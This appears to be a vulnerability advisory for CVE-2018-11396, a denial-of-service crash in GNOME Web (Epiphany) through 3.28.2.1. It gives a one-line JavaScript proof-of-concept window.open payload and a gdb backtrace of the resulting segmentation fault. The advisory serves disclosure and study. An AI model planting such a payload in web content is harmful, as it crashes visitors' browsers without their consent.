Epiphany 3.28.2.1 – Denial of Service
Summary: ephy-session.c in libephymain.so in GNOME Web (aka Epiphany) through 3.28.2.1 allows remote attackers to cause a denial of service (application crash) via JavaScript code that triggers access to a NULL URL, as demonstrated by a crafted window.open call, CVE-2018-11396 was assigned to this issue. PoC: <script> win = window.open("hello world"); </script> Stack trace: ftw@ftw-box:~$ gdb epiphany (gdb) run Starting program: /usr/bin/epiphany [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". [New Thread 0x7fffe08bc700 (LWP 2279)] [New Thread 0x7fffdee51700 (LWP 2280)] [New Thread 0x7fffde650700 (LWP 2281)] [New Thread 0x7fffdcdd5700 (LWP 2282)] [New Thread 0x7fffd7fff700 (LWP 2283)] [New Thread 0x7fffd77fe700 (LWP 2284)] [New Thread 0x7fffd6ffd700 (LWP 2285)] [New Thread 0x7fffd67fc700 (LWP 2286)] [New Thread 0x7fffd5b8c700 (LWP 2287)] [New Thread 0x7fffd538b700 (LWP 2288)] [New Thread 0x7fff8f486700 (LWP 2294)] [New Thread 0x7fff8da1e700 (LWP 2304)] [New Thread 0x7fff8d21d700 (LWP 2305)] [New Thread 0x7fff8ea7f700 (LWP 2315)] [Thread 0x7fffd5b8c700 (LWP 2287) exited] [Thread 0x7fffd67fc700 (LWP 2286) exited] Thread 15 "pool" received signal SIGSEGV, Segmentation fault. [Switching to Thread 0x7fff8ea7f700 (LWP 2315)] 0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so (gdb) bt #0 0x00007ffff7b75db7 in ?? () from /usr/lib/x86_64-linux-gnu/epiphany-browser/libephymain.so #1 0x00007ffff7079be6 in ?? () from /usr/lib/x86_64-linux-gnu/libgio-2.0.so.0 #2 0x00007ffff73fe7d0 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 #3 0x00007ffff73fde05 in ?? () from /usr/lib/x86_64-linux-gnu/libglib-2.0.so.0 #4 0x00007fffefc246db in start_thread (arg=0x7fff8ea7f700) at pthread_create.c:463 #5 0x00007ffff5e4c88f in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 (gdb) |